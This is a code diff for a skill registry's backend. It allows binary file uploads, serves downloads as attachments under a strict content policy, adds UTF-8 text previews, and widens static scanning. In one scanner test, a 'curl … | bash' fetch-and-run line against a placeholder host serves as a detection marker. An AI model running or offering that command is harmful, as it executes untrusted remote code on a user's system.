SAFE_TEXT_FILE_CSP = "default-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'"; -function isSvgLike(contentType: string | undefined, path: string) { - return contentType?.toLowerCase().includes("svg") || path.toLowerCase().endsWith(".svg"); +function attachmentDisposition(path: string) { + return `attachment; filename*=UTF-8''${encodeURIComponent(path.split("/").at(-1) || "download")}`; } -export function safeTextFileResponse(params: { - textContent: string; +type SafeFileResponseParams = { path: string; contentType?: string; sha256: string; size: number; headers?: HeadersInit; -}) { - const contentType = - normalizeTextContentType(params.path, params.contentType) ?? params.contentType; - const isSvg = isSvgLike(contentType, params.path); +}; - // For any text response that a browser might try to render, lock it down. - // In particular, this prevents SVG script execution from reading - // localStorage tokens on this origin. - const headers = mergeHeaders( +function safeFileResponseHeaders( + params: SafeFileResponseParams, + contentType: string, + forceAttachment: boolean, +) { + return mergeHeaders( params.headers, { - "Content-Type": contentType ? `${contentType}; charset=utf-8` : "text/plain; charset=utf-8", + "Content-Type": contentType, "Cache-Control": "private, max-age=60", ETag: params.sha256, "X-Content-SHA256": params.sha256, @@ -45,14 +48,51 @@ export function safeTextFileResponse(params: { "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY", "Content-Security-Policy": SAFE_TEXT_FILE_CSP, - ...(isSvg ? { "Content-Disposition": "attachment" } : {}), + ...(forceAttachment ? { "Content-Disposition": attachmentDisposition(params.path) } : {}), }, corsHeaders(), ); +} + +export function safeTextFileResponse(params: SafeFileResponseParams & { textContent: string }) { + const normalized = normalizeContentType(params.contentType); + const contentType = normalized ? `${normalized}; charset=utf-8` : "text/plain; charset=utf-8"; + const headers = safeFileResponseHeaders(params, contentType, false); return new Response(params.textContent, { status: 200, headers }); } +export async function safeStoredFileResponse( + params: SafeFileResponseParams & { + blob: Blob; + }, +) { + const bytes = new Uint8Array(await params.blob.arrayBuffer()); + const contentType = normalizeContentType(params.contentType) ?? "application/octet-stream"; + + return new Response(bytes, { + status: 200, + headers: safeFileResponseHeaders(params, contentType, true), + }); +} + +export async function safeStoredFilePreviewResponse( + params: SafeFileResponseParams & { + blob: Blob; + }, +) { + const bytes = new Uint8Array(await params.blob.arrayBuffer()); + const textContent = decodeUtf8Text(bytes); + if (textContent === null) { + return text("File cannot be previewed as text", 415, params.headers); + } + + return new Response(textContent, { + status: 200, + headers: safeFileResponseHeaders(params, "text/plain; charset=utf-8", false), + }); +} + export function json(value: unknown, status = 200, headers?: HeadersInit) { return new Response(JSON.stringify(value), { status, diff --git a/convex/httpApiV1/skillsV1.ts b/convex/httpApiV1/skillsV1.ts index 2bef61d5..ae475616 100644 --- a/convex/httpApiV1/skillsV1.ts +++ b/convex/httpApiV1/skillsV1.ts @@ -11,7 +11,7 @@ import { SkillAppealResolveRequestSchema, SkillReportTriageRequestSchema, SkillVersionRevokeRequestSchema, - normalizeTextContentType, + normalizeContentType, parseArk, type SkillAppealListStatus, type SkillReportListStatus, @@ -36,6 +36,7 @@ import { type InstallResolverSource, type SkillInstallResolution, } from "../lib/installResolver"; +import { MAX_PUBLISH_FILE_BYTES } from "../lib/publishLimits"; import type { LlmAgenticRiskFinding, LlmEvalDimension, @@ -73,6 +74,8 @@ import { requireAdminOrResponse, requireApiTokenUserOrResponse, resolveTagsBatch, + safeStoredFilePreviewResponse, + safeStoredFileResponse, safeTextFileResponse, softDeleteErrorToResponse, text, @@ -821,7 +824,7 @@ function sourceFilesForVerify( path: file.path, size: file.size, sha256: file.sha256, - contentType: normalizeTextContentType(file.path, file.contentType) ?? null, + contentType: normalizeContentType(file.contentType) ?? null, })); } @@ -2142,7 +2145,7 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request) path: file.path, size: file.size, sha256: file.sha256, - contentType: normalizeTextContentType(file.path, file.contentType) ?? null, + contentType: normalizeContentType(file.contentType) ?? null, })), security: security ?? undefined, }, @@ -2481,6 +2484,7 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request) if (second === "file" && segments.length === 2) { const path = url.searchParams.get("path")?.trim(); if (!path) return text("Missing path", 400, rate.headers); + const preview = url.searchParams.get("preview") === "1"; const versionParam = url.searchParams.get("version")?.trim(); const tagParam = url.searchParams.get("tag")?.trim(); @@ -2540,13 +2544,29 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request) version.files.find((entry) => entry.path === normalized) ?? version.files.find((entry) => entry.path.toLowerCase() === normalizedLower); if (!file) return text("File not found", 404, rate.headers); - if (file.size > MAX_RAW_FILE_BYTES) return text("File exceeds 200KB limit", 413, rate.headers); + const maxBytes = preview ? MAX_RAW_FILE_BYTES : MAX_PUBLISH_FILE_BYTES; + if (file.size > maxBytes) { + return text( + preview ? "File exceeds 200KB preview limit" : "File exceeds 10MB limit", + 413, + rate.headers, + ); + } const blob = await ctx.storage.get(file.storageId); if (!blob) return text("File missing in storage", 410, rate.headers); - const textContent = await blob.text(); - return safeTextFileResponse({ - textContent, + if (preview) { + return await safeStoredFilePreviewResponse({ + blob, + path: file.path, + contentType: file.contentType ?? undefined, + sha256: file.sha256, + size: file.size, + headers: rate.headers, + }); + } + return await safeStoredFileResponse({ + blob, path: file.path, contentType: file.contentType ?? undefined, sha256: file.sha256, diff --git a/convex/lib/artifactText.test.ts b/convex/lib/artifactText.test.ts new file mode 100644 index 00000000..1d88ffe5 --- /dev/null +++ b/convex/lib/artifactText.test.ts @@ -0,0 +1,18 @@ +import { describe, expect, it } from "vitest"; +import { decodeBoundedUtf8Text } from "./artifactText"; + +describe("decodeBoundedUtf8Text", () => { + it("decodes a bounded prefix of a larger UTF-8 artifact", () => { + const bytes = new TextEncoder().encode(`dangerous-prefix\n${"a".repeat(1024)}`); + expect(decodeBoundedUtf8Text(bytes, 64)).toContain("dangerous-prefix"); + }); + + it("accepts a prefix ending in a partial multi-byte character", () => { + const bytes = new TextEncoder().encode(`abc😀${"z".repeat(32)}`); + expect(decodeBoundedUtf8Text(bytes, 5)).toBe("abc"); + }); + + it("rejects invalid UTF-8 within the inspected prefix", () => { + expect(decodeBoundedUtf8Text(Uint8Array.from([0, 1, 2, 255, 97]), 4)).toBeNull(); + }); +}); diff --git a/convex/lib/artifactText.ts b/convex/lib/artifactText.ts new file mode 100644 index 00000000..6f45b53a --- /dev/null +++ b/convex/lib/artifactText.ts @@ -0,0 +1,13 @@ +import { decodeUtf8Text } from "clawhub-schema"; + +export function decodeBoundedUtf8Text(bytes: Uint8Array, maxBytes: number) { + if (bytes.byteLength <= maxBytes) return decodeUtf8Text(bytes); + + try { + return new TextDecoder("utf-8", { fatal: true }).decode(bytes.subarray(0, maxBytes), { + stream: true, + }); + } catch { + return null; + } +} diff --git a/convex/lib/githubImport.test.ts b/convex/lib/githubImport.test.ts index 835690d3..1d68d304 100644 --- a/convex/lib/githubImport.test.ts +++ b/convex/lib/githubImport.test.ts @@ -8,6 +8,7 @@ import { detectGitHubImportCandidates, extractMarkdownRelativeTargets, fetchGitHubZipBytes, + listFilesUnderCandidate, parseGitHubImportUrl, resolveGitHubCommit, resolveMarkdownTarget, @@ -23,6 +24,32 @@ function requestInfoToUrlString(input: RequestInfo | URL): string { } describe("github import", () => { + it("lists every eligible file under a skill candidate", () => { + const encode = (text: string) => new TextEncoder().encode(text); + const files = listFilesUnderCandidate( + { + "skills/demo/SKILL.md": encode("# Demo\n"), + "skills/demo/main.tf": encode('resource "null_resource" "demo" {}\n'), + "skills/demo/terraform.tfvars": encode('region = "us-east-1"\n'), + "skills/demo/assets/payload.bin": Uint8Array.from([0, 1, 2, 255]), + "skills/other/SKILL.md": encode("# Other\n"), + }, + "skills/demo", + ); + + expect(files.map((file) => file.path)).toEqual( + [ + "skills/demo/SKILL.md", + "skills/demo/assets/payload.bin", + "skills/demo/main.tf", + "skills/demo/terraform.tfvars", + ].sort((left, right) => left.localeCompare(right)), + ); + expect(files.find((file) => file.path.endsWith("payload.bin"))?.bytes).toEqual( + Uint8Array.from([0, 1, 2, 255]), + ); + }); + it("parses repo root urls", () => { expect(parseGitHubImportUrl("https://github.com/visionik/ouracli")).toEqual({ owner: "visionik", @@ -135,7 +162,7 @@ describe("github import", () => { expect(candidates.map((c) => c.name)).toEqual(["Alpha", "Beta"]); }); - it("computes default selection via markdown references", () => { + it("selects the complete candidate artifact by default", () => { const entries = { "skill/SKILL.md": `---\nname: demo\n---\nSee [usage](docs/usage.md) and ![logo](img/logo.svg).\nIgnore [web](https://example.com).`, "skill/docs/usage.md": `See [more](more.md)`, @@ -161,7 +188,7 @@ describe("github import", () => { expect(selected).toContain("skill/docs/usage.md"); expect(selected).toContain("skill/docs/more.md"); expect(selected).toContain("skill/img/logo.svg"); - expect(selected).not.toContain("skill/extra.txt"); + expect(selected).toContain("skill/extra.txt"); }); it("does not select files outside skill folder (even when referenced)", () => { @@ -180,6 +207,7 @@ describe("github import", () => { const files = Object.entries(stripped).map(([path, bytes]) => ({ path, bytes })); const selected = computeDefaultSelectedPaths({ candidate, files }); expect(selected).toContain("skill/SKILL.md"); + expect(selected).toContain("skill/docs/usage.md"); expect(selected).not.toContain("outside.md"); }); diff --git a/convex/lib/githubImport.ts b/convex/lib/githubImport.ts index 51e5a82d..6764f3bf 100644 --- a/convex/lib/githubImport.ts +++ b/convex/lib/githubImport.ts @@ -1,4 +1,3 @@ -import { TEXT_FILE_EXTENSION_SET } from "clawhub-schema"; import { zipSync } from "fflate"; import semver from "semver"; import { parseFrontmatter } from "./skills"; @@ -279,7 +278,7 @@ function uniqCandidates(candidates: GitHubImportCandidate[]) { return out.sort((a, b) => a.path.localeCompare(b.path)); } -export function listTextFilesUnderCandidate( +export function listFilesUnderCandidate( entries: ZipEntryMap, candidatePath: string, ): Array<{ path: string; bytes: Uint8Array }> { @@ -288,7 +287,6 @@ export function listTextFilesUnderCandidate( for (const [path, bytes] of Object.entries(entries)) { const normalized = normalizeRepoPath(path); if (!isUnderRoot(normalized, root)) continue; - if (!isTextPath(normalized)) continue; out.push({ path: normalized, bytes }); } return out.sort((a, b) => a.path.localeCompare(b.path)); @@ -297,59 +295,12 @@ export function listTextFilesUnderCandidate( export function computeDefaultSelectedPaths(params: { candidate: GitHubImportCandidate; files: Array<{ path: string; bytes: Uint8Array }>; - maxDepth?: number; - maxAdds?: number; }) { - const maxDepth = params.maxDepth ?? 4; - const maxAdds = params.maxAdds ?? 200; - const byPath = new Map(params.files.map((file) => [file.path, file.bytes])); const candidateRoot = normalizeCandidateRoot(params.candidate.path); - const selected = new Set(); - let added = 0; - - const add = (path: string) => { - const normalized = normalizeRepoPath(path); - if (!isUnderRoot(normalized, candidateRoot)) return; - if (!byPath.has(normalized)) return; - if (!selected.has(normalized)) { - selected.add(normalized); - added += 1; - } - }; - - add(params.candidate.readmePath); - - const visited = new Set(); - const queue: Array<{ path: string; depth: number }> = [ - { path: params.candidate.readmePath, depth: 0 }, - ]; - - while (queue.length > 0) { - const item = queue.shift(); - if (!item) break; - if (item.depth >= maxDepth) continue; - if (visited.has(item.path)) continue; - visited.add(item.path); - - const bytes = byPath.get(item.path); - if (!bytes) continue; - if (!item.path.toLowerCase().endsWith(".md")) continue; - - const text = new TextDecoder().decode(bytes); - const refs = extractMarkdownRelativeTargets(text); - for (const ref of refs) { - if (added >= maxAdds) break; - const resolved = resolveMarkdownTarget(item.path, ref); - if (!resolved) continue; - add(resolved); - if (resolved.toLowerCase().endsWith(".md") && byPath.has(resolved)) { - queue.push({ path: resolved, depth: item.depth + 1 }); - } - } - if (added >= maxAdds) break; - } - - return Array.from(selected).sort(); + return params.files + .map((file) => normalizeRepoPath(file.path)) + .filter((path) => path && isUnderRoot(path, candidateRoot)) + .sort(); } export function buildGitHubImportFileList(params: { @@ -383,13 +334,6 @@ function isUnderRoot(path: string, rootWithSlash: string) { return path === rootWithSlash.slice(0, -1) || path.startsWith(rootWithSlash); } -function isTextPath(path: string) { - const lower = path.toLowerCase(); - const ext = lower.split(".").at(-1) ?? ""; - if (!ext) return false; - return TEXT_FILE_EXTENSION_SET.has(ext); -} - export function suggestDisplayName(candidate: GitHubImportCandidate, fallbackBase: string) { const base = candidate.name?.trim() || fallbackBase.trim(); if (!base) return ""; diff --git a/convex/lib/skillPublish.test.ts b/convex/lib/skillPublish.test.ts index 06211f55..88f9f3f8 100644 --- a/convex/lib/skillPublish.test.ts +++ b/convex/lib/skillPublish.test.ts @@ -1064,6 +1064,65 @@ description: Security scanner smoke fixture. ]); }); + it("accepts Terraform and opaque files and hashes their exact stored bytes", async () => { + const stored = new Map([ + ["_storage:skill", new Blob(["# Terraform skill\n"], { type: "text/markdown" })], + [ + "_storage:tf", + new Blob(['resource "null_resource" "demo" {}\n'], { + type: "application/octet-stream", + }), + ], + [ + "_storage:binary", + new Blob([Uint8Array.from([0, 1, 2, 255])], { + type: "application/octet-stream", + }), + ], + ]); + const storage = { + get: vi.fn(async (storageId: string) => stored.get(storageId) ?? null), + }; + + const files = await __test.derivePublishFilesFromStorage({ storage } as never, [ + { + path: "SKILL.md", + size: 1, + storageId: "_storage:skill" as never, + sha256: "caller-supplied", + contentType: "text/markdown", + }, + { + path: "main.tf", + size: 1, + storageId: "_storage:tf" as never, + sha256: "caller-supplied", + contentType: "application/octet-stream", + }, + { + path: "assets/payload.bin", + size: 1, + storageId: "_storage:binary" as never, + sha256: "caller-supplied", + contentType: "application/octet-stream", + }, + ]); + + expect(files).toEqual([ + expect.objectContaining({ path: "SKILL.md", size: 18 }), + expect.objectContaining({ + path: "main.tf", + size: 35, + sha256: "e286a58e2e9cd9eabd8dea398e791be6683e3c72183fdc06ce9748964e156961", + }), + expect.objectContaining({ + path: "assets/payload.bin", + size: 4, + sha256: "3d1f57c984978ef98a18378c8166c1cb8ede02c03eeb6aee7e2f121dfeee3e56", + }), + ]); + }); + it("rejects oversized stored files even when caller metadata is small", async () => { const storage = { get: vi.fn(async () => new Blob([new Uint8Array(MAX_PUBLISH_FILE_BYTES + 1)])), diff --git a/convex/lib/skillPublish.ts b/convex/lib/skillPublish.ts index 53355a13..b1b261f1 100644 --- a/convex/lib/skillPublish.ts +++ b/convex/lib/skillPublish.ts @@ -1,7 +1,8 @@ import { + decodeUtf8Text, normalizeCatalogTopics, + normalizeContentType, normalizeSkillCategories, - normalizeTextContentType, resolveSkillCategories, } from "clawhub-schema"; import { ConvexError } from "convex/values"; @@ -34,7 +35,6 @@ import { getFrontmatterValue, hashSkillFiles, isMacJunkPath, - isTextFile, parseClawdisMetadata, parseFrontmatter, sanitizePath, @@ -46,6 +46,7 @@ import { runStaticPublishScan } from "./staticPublishScan"; import { getWebhookConfig, type WebhookSkillPayload } from "./webhooks"; const MAX_FILES_FOR_EMBEDDING = 40; +const MAX_ANALYZED_FILE_BYTES = 256 * 1024; const QUALITY_WINDOW_MS = 24 * 60 * 60 * 1000; const QUALITY_ACTIVITY_LIMIT = 60; const PLATFORM_SKILL_LICENSE = "MIT-0" as const; @@ -253,7 +254,7 @@ async function publishVersionForUserInternal( const sanitizedFiles = args.files.map((file) => ({ ...file, path: sanitizePath(file.path), - contentType: normalizeTextContentType(file.path, file.contentType), + contentType: normalizeContentType(file.contentType), })); if (sanitizedFiles.some((file) => !file.path)) { throw new ConvexError("Invalid file paths"); @@ -366,8 +367,8 @@ async function publishVersionForUserInternal( ]; for (const file of publishFiles) { if (!file.path || file.storageId === readmeFile.storageId) continue; - if (!isTextFile(file.path, file.contentType ?? undefined)) continue; - const content = await fetchText(ctx, file.storageId); + const content = await fetchPreviewText(ctx, file.storageId); + if (content === null) continue; fileContents.push({ path: file.path, content }); } @@ -713,13 +714,9 @@ async function prepareSkillInsertArgsForFinalization( const otherFiles: Array<{ path: string; content: string }> = []; for (const file of files) { if (file === readmeFile || typeof file.path !== "string") continue; - if ( - !isTextFile(file.path, typeof file.contentType === "string" ? file.contentType : undefined) - ) { - continue; - } if (!file.storageId || typeof file.storageId !== "string") continue; - const content = await fetchText(ctx, file.storageId as Id<"_storage">); + const content = await fetchPreviewText(ctx, file.storageId as Id<"_storage">); + if (content === null) continue; otherFiles.push({ path: file.path, content }); if (otherFiles.length >= MAX_FILES_FOR_EMBEDDING) break; } @@ -957,7 +954,20 @@ export async function fetchText( ) { const blob = await ctx.storage.get(storageId); if (!blob) throw new Error("File missing in storage"); - return blob.text(); + const text = decodeUtf8Text(new Uint8Array(await blob.arrayBuffer())); + if (text === null) throw new Error("File is not valid UTF-8 text"); + return text; +} + +async function fetchPreviewText( + ctx: { storage: { get: (id: Id<"_storage">) => Promise } }, + storageId: Id<"_storage">, +) { + const blob = await ctx.storage.get(storageId); + if (!blob) throw new Error("File missing in storage"); + if (blob.size > MAX_ANALYZED_FILE_BYTES) return null; + const bytes = new Uint8Array(await blob.arrayBuffer()); + return decodeUtf8Text(bytes); } async function loadPublishFileBlobs( @@ -968,8 +978,8 @@ async function loadPublishFileBlobs( for (const file of files) { const blob = await ctx.storage.get(file.storageId); if (!blob) throw new ConvexError("File missing in storage"); - const storedContentType = blob.type || file.contentType; - const contentType = normalizeTextContentType(file.path, storedContentType) ?? storedContentType; + const storedContentType = blob.type || file.contentType || "application/octet-stream"; + const contentType = normalizeContentType(storedContentType); filesWithBlobs.push({ blob, file: { @@ -988,13 +998,6 @@ async function derivePublishFilesFromStorage( ) { const publishFileBlobs = await loadPublishFileBlobs(ctx, files); const publishFilesWithStorageMetadata = publishFileBlobs.map(({ file }) => file); - if ( - publishFilesWithStorageMetadata.some( - (file) => !isTextFile(file.path, file.contentType ?? undefined), - ) - ) { - throw new ConvexError("Only text-based files are allowed"); - } const oversizedFile = findOversizedPublishFile(publishFilesWithStorageMetadata); if (oversizedFile) { diff --git a/convex/lib/skills.test.ts b/convex/lib/skills.test.ts index 86b0095c..cb0f2942 100644 --- a/convex/lib/skills.test.ts +++ b/convex/lib/skills.test.ts @@ -5,7 +5,6 @@ import { getFrontmatterValue, hashSkillFiles, isMacJunkPath, - isTextFile, parseClawdisMetadata, parseFrontmatter, sanitizePath, @@ -145,14 +144,6 @@ describe("skills utils", () => { expect(sanitizePath("")).toBeNull(); }); - it("detects text files", () => { - expect(isTextFile("SKILL.md")).toBe(true); - expect(isTextFile("image.png")).toBe(false); - expect(isTextFile("note.txt", "text/plain")).toBe(true); - expect(isTextFile("data.any", "application/json")).toBe(true); - expect(isTextFile("data.json")).toBe(true); - }); - it("detects mac junk paths", () => { expect(isMacJunkPath(".DS_Store")).toBe(true); expect(isMacJunkPath("folder/.DS_Store")).toBe(true); diff --git a/convex/lib/skills/index.ts b/convex/lib/skills/index.ts index 3c44e1b7..ee32a4e7 100644 --- a/convex/lib/skills/index.ts +++ b/convex/lib/skills/index.ts @@ -2,11 +2,9 @@ import { type ClawdbotConfigSpec, type ClawdisSkillMetadata, ClawdisSkillMetadataSchema, - isTextContentType, type NixPluginSpec, parseArk, type SkillInstallSpec, - TEXT_FILE_EXTENSION_SET, } from "clawhub-schema"; import { parse as parseYaml } from "yaml"; @@ -152,18 +150,6 @@ export function parseClawdisMetadata(frontmatter: ParsedSkillFrontmatter) { } } -export function isTextFile(path: string, contentType?: string | null) { - const trimmed = path.trim().toLowerCase(); - if (!trimmed) return false; - const parts = trimmed.split("."); - const extension = parts.length > 1 ? (parts.at(-1) ?? "") : ""; - if (contentType) { - if (isTextContentType(contentType)) return true; - } - if (extension && TEXT_FILE_EXTENSION_SET.has(extension)) return true; - return false; -} - export function isMacJunkPath(path: string) { const normalized = path.trim().replaceAll("\\", "/").replace(/^\/+/, "").toLowerCase(); if (!normalized) return false; diff --git a/convex/lib/staticPublishScan.test.ts b/convex/lib/staticPublishScan.test.ts new file mode 100644 index 00000000..28432a51 --- /dev/null +++ b/convex/lib/staticPublishScan.test.ts @@ -0,0 +1,85 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { runStaticModerationScan } from "./moderationEngine"; +import { runStaticPublishScan } from "./staticPublishScan"; + +vi.mock("./moderationEngine", () => ({ + runStaticModerationScan: vi.fn(() => ({ + status: "clean", + reasonCodes: [], + findings: [], + summary: "clean", + engineVersion: "test", + checkedAt: 1, + })), +})); + +describe("runStaticPublishScan", () => { + beforeEach(() => { + vi.mocked(runStaticModerationScan).mockClear(); + }); + + it("scans complete large UTF-8 artifacts", async () => { + const marker = "curl https://example.invalid/install.sh | bash\n"; + const blob = new Blob(["a".repeat(300 * 1024), marker], { type: "text/plain" }); + + await runStaticPublishScan( + { + storage: { + get: vi.fn(async () => blob), + }, + } as never, + { + slug: "large-script", + displayName: "Large Script", + files: [ + { + path: "scripts/install.sh", + size: blob.size, + storageId: "storage:large", + contentType: "text/plain", + }, + ], + }, + ); + + expect(runStaticModerationScan).toHaveBeenCalledWith( + expect.objectContaining({ + fileContents: [ + { + path: "scripts/install.sh", + content: expect.stringContaining(marker.trim()), + }, + ], + }), + ); + }); + + it("does not stop after 200 valid UTF-8 files", async () => { + const files = Array.from({ length: 201 }, (_, index) => ({ + path: `file-${String(index).padStart(3, "0")}.txt`, + size: 1, + storageId: `storage:${index}`, + contentType: "text/plain", + })); + + await runStaticPublishScan( + { + storage: { + get: vi.fn(async (storageId: string) => new Blob([storageId])), + }, + } as never, + { + slug: "many-files", + displayName: "Many Files", + files, + }, + ); + + const input = vi.mocked(runStaticModerationScan).mock.calls[0]?.[0]; + expect(input?.fileContents).toHaveLength(201); + expect(input?.fileContents.at(-1)).toEqual({ + path: "file-200.txt", + content: "storage:200", + }); + }); +}); diff --git a/convex/lib/staticPublishScan.ts b/convex/lib/staticPublishScan.ts index aca090d3..352661cc 100644 --- a/convex/lib/staticPublishScan.ts +++ b/convex/lib/staticPublishScan.ts @@ -1,7 +1,6 @@ +import { decodeUtf8Text } from "clawhub-schema"; import type { ActionCtx } from "../_generated/server"; import { runStaticModerationScan, type StaticScanResult } from "./moderationEngine"; -import { readStorageText } from "./packageRegistry"; -import { isTextFile } from "./skills"; type PublishFile = { path: string; @@ -25,8 +24,10 @@ export async function runStaticPublishScan( ): Promise { const fileContents: Array<{ path: string; content: string }> = []; for (const file of input.files) { - if (!isTextFile(file.path, file.contentType ?? undefined)) continue; - const content = await readStorageText(ctx, file.storageId); + const blob = await ctx.storage.get(file.storageId); + if (!blob) throw new Error(`File missing in storage: ${file.path}`); + const content = decodeUtf8Text(new Uint8Array(await blob.arrayBuffer())); + if (content === null) continue; fileContents.push({ path: file.path, content }); } diff --git a/convex/skills.public.test.ts b/convex/skills.public.test.ts index fa5580e0..e8bd0fbc 100644 --- a/convex/skills.public.test.ts +++ b/convex/skills.public.test.ts @@ -859,7 +859,7 @@ describe("skills.getBySlug", () => { expect(result?.skill?.canonicalSkillId).toBe("skills:canonical"); }); - it("normalizes misleading file MIME types in public version metadata", async () => { + it("preserves supplied file MIME types in public version metadata", async () => { const ctx = makeCtx({ skill: { _id: "skills:1", @@ -920,7 +920,7 @@ describe("skills.getBySlug", () => { expect(result?.latestVersion?.files).toEqual([ expect.objectContaining({ path: "src/index.ts", - contentType: "application/typescript", + contentType: "video/mp2t", }), ]); }); diff --git a/convex/skills.ts b/convex/skills.ts index ea5ffc81..cbe89da9 100644 --- a/convex/skills.ts +++ b/convex/skills.ts @@ -1,11 +1,12 @@ import { getAuthUserId } from "@convex-dev/auth/server"; import { + decodeUtf8Text, getCatalogTopicSlugs, INTERNAL_UNCATEGORIZED_CATEGORY, isSkillCategorySlug, normalizeCatalogTopic, normalizeCatalogTopics, - normalizeTextContentType, + normalizeContentType, resolveSkillCategories, resolveStoredSkillCategories, type SkillCategorySlug, @@ -184,6 +185,12 @@ type FileTextResult = { size: number; sha256: string; }; +type FilePreviewResult = { + path: string; + text: string | null; + size: number; + sha256: string; +}; const PLATFORM_SKILL_LICENSE = "MIT-0" as const; const MAX_DIFF_FILE_BYTES = 200 * 1024; @@ -2239,7 +2246,7 @@ function toPublicSkillVersion( path: file.path, size: file.size, sha256: file.sha256, - contentType: normalizeTextContentType(file.path, file.contentType), + contentType: normalizeContentType(file.contentType), })), parsed: version.parsed ? { @@ -2309,7 +2316,7 @@ function toPublicSkillCardFile(file: Doc<"skillVersions">["files"][number]) { path: file.path, size: file.size, sha256: file.sha256, - contentType: normalizeTextContentType(file.path, file.contentType), + contentType: normalizeContentType(file.contentType), }; } @@ -10174,6 +10181,40 @@ export const getFileText: ReturnType = action({ }, }); +export const getFilePreview: ReturnType = action({ + args: { versionId: v.id("skillVersions"), path: v.string() }, + handler: async (ctx, args): Promise => { + const version = (await ctx.runQuery(internal.skills.getVersionByIdInternal, { + versionId: args.versionId, + })) as Doc<"skillVersions"> | null; + if (!version) throw new ConvexError("Version not found"); + if (!(await canReadSkillVersionFiles(ctx, version))) { + throw new ConvexError("Version not available"); + } + + const normalizedPath = args.path.trim(); + const normalizedLower = normalizedPath.toLowerCase(); + const file = + version.files.find((entry) => entry.path === normalizedPath) ?? + version.files.find((entry) => entry.path.toLowerCase() === normalizedLower); + if (!file) throw new ConvexError("File not found"); + + if (file.size > MAX_DIFF_FILE_BYTES) { + return { + path: file.path, + text: null, + size: file.size, + sha256: file.sha256, + }; + } + + const blob = await ctx.storage.get(file.storageId); + if (!blob) throw new ConvexError("File missing in storage"); + const text = decodeUtf8Text(new Uint8Array(await blob.arrayBuffer())); + return { path: file.path, text, size: file.size, sha256: file.sha256 }; + }, +}); + export const resolveVersionByHash = query({ args: { slug: v.string(), hash: v.string(), ownerHandle: v.optional(v.string()) }, handler: async (ctx, args) => { diff --git a/convex/versionFileAccess.test.ts b/convex/versionFileAccess.test.ts index 7c567c71..99afccac 100644 --- a/convex/versionFileAccess.test.ts +++ b/convex/versionFileAccess.test.ts @@ -13,10 +13,12 @@ vi.mock("./lib/skillPublish", () => ({ const { getAuthUserId } = await import("@convex-dev/auth/server"); const { getReadme: getSkillReadme, + getFilePreview: getSkillFilePreview, getFileText: getSkillFileText, getGitHubSkillContent, } = await import("./skills"); const getSkillReadmeHandler = getSkillReadme as unknown as { _handler: Function }; +const getSkillFilePreviewHandler = getSkillFilePreview as unknown as { _handler: Function }; const getSkillFileTextHandler = getSkillFileText as unknown as { _handler: Function }; const getGitHubSkillContentHandler = getGitHubSkillContent as unknown as { _handler: Function }; @@ -45,6 +47,7 @@ function makeActionCtx(args: { actor?: Record | null; publisherMemberRole?: "owner" | "admin" | "publisher" | null; publisherAccess?: boolean; + storedBlob?: Blob | null; }) { return { runQuery: vi.fn(async (_endpoint: unknown, payload: Record) => { @@ -63,6 +66,9 @@ function makeActionCtx(args: { } throw new Error("Unexpected endpoint"); }), + storage: { + get: vi.fn().mockResolvedValue(args.storedBlob ?? new Blob(["# skill"])), + }, } as never; } @@ -297,6 +303,95 @@ describe("version file access actions", () => { ).resolves.toMatchObject({ path: "SKILL.md", text: "# skill" }); }); + it("returns opaque files as download-only previews with exact metadata", async () => { + const version = { + ...makeSkillVersion(), + files: [ + { + path: "assets/payload.bin", + size: 4, + storageId: "_storage:opaque", + sha256: "d".repeat(64), + contentType: "application/octet-stream", + }, + ], + }; + const ctx = makeActionCtx({ + version, + storedBlob: new Blob([Uint8Array.from([0, 1, 2, 255])], { + type: "application/octet-stream", + }), + skill: { + _id: "skills:1", + ownerUserId: "users:owner", + stats: {}, + softDeletedAt: undefined, + moderationStatus: "active", + moderationFlags: [], + }, + }); + + await expect( + getSkillFilePreviewHandler._handler(ctx, { + versionId: "skillVersions:1", + path: "assets/payload.bin", + } as never), + ).resolves.toEqual({ + path: "assets/payload.bin", + text: null, + size: 4, + sha256: "d".repeat(64), + }); + }); + + it.each([ + ["report.pdf", "application/pdf"], + ["page.html", "text/html"], + ["diagram.svg", "image/svg+xml"], + ["config.xml", "application/xml"], + ])( + "previews valid UTF-8 document %s as escaped text regardless of extension", + async (path, contentType) => { + const text = "valid UTF-8"; + const version = { + ...makeSkillVersion(), + files: [ + { + path, + size: text.length, + storageId: "_storage:rich", + sha256: "e".repeat(64), + contentType, + }, + ], + }; + const ctx = makeActionCtx({ + version, + storedBlob: new Blob([text], { type: contentType }), + skill: { + _id: "skills:1", + ownerUserId: "users:owner", + stats: {}, + softDeletedAt: undefined, + moderationStatus: "active", + moderationFlags: [], + }, + }); + + await expect( + getSkillFilePreviewHandler._handler(ctx, { + versionId: "skillVersions:1", + path, + } as never), + ).resolves.toEqual({ + path, + text, + size: text.length, + sha256: "e".repeat(64), + }); + }, + ); + it("blocks unauthenticated file reads from hidden skill versions", async () => { const ctx = makeActionCtx({ version: makeSkillVersion(), diff --git a/docs/cli.md b/docs/cli.md index c34e2357..4d2e04e6 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -125,8 +125,8 @@ Stores your API token + cached registry URL. - `--versions`: list version history (first page). - `--limit `: max versions to list (1-200). - `--files`: list files for the selected version. -- `--file `: fetch raw file content (text files only; 200KB limit). -- `--json`: machine-readable output. +- `--file `: fetch raw file bytes (10MB limit). +- `--json`: machine-readable output; `--file` includes exact bytes as base64 and UTF-8 text when available. ### `install @owner/slug` @@ -407,7 +407,7 @@ clawhub package explore episodic-claw --family code-plugin - `--versions`: list version history (first page). - `--limit `: max versions to list (1-100). - `--files`: list files for the selected version. -- `--file `: fetch raw file content (text files only; 200KB limit). +- `--file `: fetch a bounded UTF-8 text preview (200KB limit). - `--json`: machine-readable output. ### `package download ` diff --git a/docs/http-api.md b/docs/http-api.md index f53a68d7..97333a81 100644 --- a/docs/http-api.md +++ b/docs/http-api.md @@ -520,18 +520,22 @@ Response: ### `GET /api/v1/skills/{slug}/file` -Returns raw text content. +Returns exact stored file bytes as a download. Add `preview=1` to request a bounded escaped-text +preview; any file with valid UTF-8 bytes can be previewed, regardless of its extension or MIME +metadata. Query params: - `path` (required) - `version` (optional) - `tag` (optional) +- `preview=1` (optional; returns `text/plain` or `415` when the bytes are not valid UTF-8) Notes: - 